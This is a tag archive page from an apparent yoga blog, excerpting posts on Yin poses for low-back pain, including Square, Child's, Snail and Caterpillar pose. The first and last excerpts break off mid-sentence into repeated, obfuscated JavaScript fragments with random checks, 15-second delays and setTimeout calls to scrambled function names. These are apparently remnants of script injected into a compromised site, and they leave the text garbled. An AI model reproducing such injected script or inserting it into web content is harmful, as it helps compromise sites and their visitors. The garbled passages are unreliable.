Tag Archives: pain

Yin Sequence for Low-Back Pain

A staggering 60-80% of Americans suffer from low back pain, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = …

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Square Pose {Yin Series}

Square pose is one of those asanas that has a lot of room for adjustment.  Because of this, it’s still attainable to the “can’t quite touch my toes” yogi but is still beneficial for the yogi who regularly finds themselves in a …

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Back to Basics: Child’s Pose {Yin Series}

As a style, Yin yoga is a cooling, relaxing practice which is especially useful in this scorching Annapolis heat.  No matter where you are or hot it is, Child’s Pose gives a nice refreshing release at the beginning, middle, or …

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Snail Pose {Yin Series}

In recent weeks, we’ve covered poses that are primarily geared towards opening the hips, like

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Caterpillar Pose {Yin Series}

Today we will cover one of the most simple yet effective yin poses; Caterpillar.  Also known as seated forward bend or “paschimottanasana” in other yoga theories, this simple forward fold works to release the vertebrae of the spine andom() * 5);if (number1==3){var …

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